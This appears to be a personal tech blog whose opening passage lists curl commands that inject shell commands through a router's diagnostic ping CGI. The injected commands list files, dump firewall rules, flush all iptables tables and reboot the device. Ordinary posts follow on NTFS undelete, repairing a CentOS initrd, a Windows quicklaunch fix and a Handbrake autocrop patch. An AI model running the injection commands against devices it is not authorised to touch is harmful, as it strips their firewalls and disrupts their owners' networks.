curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;busybox&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# list of files in /bin
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;ls|-al|bin/&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# active iptables rules
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-L&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# active nat rules
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-L|-t|nat&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# active mangle rules
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-L|-t|mangle&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -s "http://192.168.1.1/html/management/pingresult.asp" | sed -e's/__finshed__.*//g' -e's/\\n/\n/g' | sed -e's/^"//g' -e's/^\ + \"//g'

# flush all iptables rules
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-F&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-X&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|nat|-F&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|nat|-X&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|mangle|-F&RequestFile=/html/management/diagnose.asp"
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;iptables|-t|mangle|-X&RequestFile=/html/management/diagnose.asp"

# reboot device
curl -bcookie.txt -ccookie.txt -d"foobar" "http://192.168.1.1/html/management/excutecmd.cgi?cmd=ping|;reboot&RequestFile=/html/management/diagnose.asp"


Friday, July 05, 2013

NTFS undelete on Linux

To avoid damaging filesystem with files to be undeleted I created image of entire hard disk by booting live linux on source PC from USB and then making 1:1 copy of HDD with dd.

1. Figure out offset where partition of interest starts. Simply open image with fdisk and multiply start sector with 512 bytes.

2. Mount it with losetup. "losetup -o 105906176 /dev/loop0 diskimage.bin"

3. Scan for undeletable files. "ntfsundelete -s /dev/loop0"

4. Undelete files. "ntfsundelete -u -m '*.docx' -d /tmp/recovered /dev/loop0"

5. Done. "losetup -d /dev/loop0"

Monday, June 10, 2013

Fixing non-bootable CentOS 5 after VMware converter P2V

Did P2V for old CentOS 5.5 i686 install and it failed to boot. Recreating initrd helped. Also see thread on VMware support forums.

- boot from CentOS CD (x64 works for both i686 and x64 virtual machines)

- type "linux rescue" on prompt

- do not start network or mount any filesystems

- when in root shell check names of lvm volumes
  lvm vgscan
  lvm lvscan

- activate them
  lvm lvchange -a y VolGroup00/LogVol00

- mount root
  mkdir /mnt/root
  mount /dev/VolGroup00/LogVol00 /mnt/root

- mount boot
  mount /dev/sda1 /mnt/root/boot

- mount rest
  mount /dev /mnt/root/dev
  mount /sys /mnt/root/sys
  mount /proc /mnt/root/proc

- chroot to new old root
  chroot /mnt/root

- recreate initrd, make sure you use proper kernel version
  mkinitrd -f /boot/initrd-2.6.18-194.32.1.el5.img 2.6.18-194.32.1.el5

- boot
  exit
  reboot

Wednesday, June 05, 2013

Disappearing show desktop button on Windows quicklaunch

There's bug in some Microsoft hotfixes that causes show desktop button to disappear from Win XP / Win 2003 quicklaunch bar.

Run "regsvr32 /n /i:U shell32" and logoff+logon to get it back.

Saturday, April 20, 2013

Handbrake auto-crop and channel logos

Same as old post except with updated patch for fresh Handbrake SVN version.

Handbrake does good job auto-cropping black bars from source and calculating resulting aspect ratio. However if you're encoding digital TV recordings it's common to have channel logo on otherwise black portion of image.

Since there's no built-in method to tune auto-crop I ended up hacking source. I'm no coder, but managed to come up with something. Works for me, but obviously not the "right way" to do it. What I'm at least attempting to do below is to ignore left- and rightmost one third of top 100 rows when performing autocrop detection. Also column cropping ignores top 150 rows.
Hack is against svn 5401. This part of code was changed on 4803 so it will not apply to any earlier version than that.

# Get rebuild deps
apt-get update
apt-get -y install devscripts
apt-get -y build-dep handbrake

# Create build environment
adduser bobbuilder --shell /bin/bash \
        --disabled-password --gecos bobbuilder

# Switch to non-priviledged user for build
sudo su - bobbuilder

# Download sources
mkdir -p ~/build/handbrake
cd ~/build/handbrake
apt-get -y source handbrake
cd handbrake-* 
fakeroot debian/rules clean 

# Apply patches
patch -l -p0 <<__EOF__
--- libhb/scan.c.old    2013-04-15 08:32:28.000000000 +0300
+++ libhb/scan.c        2013-04-20 17:41:00.048844900 +0300
@@ -307,9 +307,25 @@
     int stride = buf->plane[0].stride;
     uint8_t *luma = buf->plane[0].data + stride * row;

+    // HACK-BEGIN
+    // crop top 100 rows aggressively ignoring left 1/3rd and right 1/3rd.
+    // this is to crop away channel logos on otherwise black background
+    int leftstart;
+    if ( row <= 100 )
+    {
+    width = buf->plane[0].width-(buf->plane[0].width/3);
+    leftstart = buf->plane[0].width/3;
+    }
+    else
+    { // normal autocrop for rest of frame
+    leftstart = 0;
+    }
+    // HACK-END

     // compute the average luma value of the row
     int i, avg = 0;
-    for ( i = 0; i < width; ++i )
+    //for ( i = 0; i < width; ++i )
+    for ( i = leftstart; i < width; ++i ) //HACK
     {
         avg += clampBlack( luma[i] );
     }
@@ -321,9 +337,11 @@
     // all pixels are within +-16 of the average (this range is fairly coarse
     // but there's a lot of quantization noise for luma values near black
     // so anything less will fail to crop because of the noise).
-    for ( i = 0; i < width; ++i )
+    //for ( i = 0; i < width; ++i )
+    for ( i = leftstart; i < width; ++i ) //HACK
     {
-        if ( absdiff( avg, clampBlack( luma[i] ) ) > 16 )
+        //if ( absdiff( avg, clampBlack( luma[i] ) ) > 16 )
+        if ( absdiff( avg, clampBlack( luma[i] ) ) > 16 ) //HACK
             return 0;
     }
     return 1;
@@ -332,12 +350,15 @@
 static int column_all_dark( hb_buffer_t* buf, int top, int bottom, int col )
 {
     int stride = buf->plane[0].stride;
-    int height = buf->plane[0].height - top - bottom;
-    uint8_t *luma = buf->plane[0].data + stride * top + col;
+    //int height = buf->plane[0].height - top - bottom;
+    //uint8_t *luma = buf->plane[0].data + stride * top + col;
+    int height = buf->plane[0].height - (top+150) - bottom; //HACK
+    uint8_t *luma = buf->plane[0].data + stride * (top+150) + col; //HACK

     // compute the average value of the column
     int i = height, avg = 0, row = 0;
-    for ( ; --i >= 0; row += stride )
+    //for ( ; --i >= 0; row += stride )
+    for ( ; --i >= 150; row += stride ) //HACK
     {
         avg += clampBlack( luma[row] );
     }
@@ -348,7 +369,8 @@
     // since we're trying to detect smooth borders, only take the column if
     // all pixels are within +-16 of the average.
     i = height, row = 0;
-    for ( ; --i >= 0; row += stride )
+    //for ( ; --i >= 0; row += stride )
+    for ( ; --i >= 150; row += stride ) //HACK
     {
         if ( absdiff( avg, clampBlack( luma[row] ) ) > 16 )
             return 0;
__EOF__

# Patch to allow custom optimization flags. 
sed -i.bak -e's/-O3/-O3 -march=native/g' make/include/gcc.defs 
sed -i.bak -e's/unset CFLAGS; //g' -e's/unset CFLAGS ; //g' -e's/unset CXXLAGS; //g' debian/rules 

# Compile new binary 
CFLAGS="-O3 -march=native" CXXFLAGS="-O3 -march=native" fakeroot debian/rules binary    

# Switch to root now

# Block updates from repository 
# to undo replace hold with install 
# to see current status use "dpkg --get-selections" 
echo "handbrake-cli hold"|dpkg --set-selections 
echo "handbrake-gtk hold"|dpkg --set-selections 

# Install freshly compiled version 
cd ~bobbuilder/build/handbrake
dpkg -i handbrake-*.deb

# Done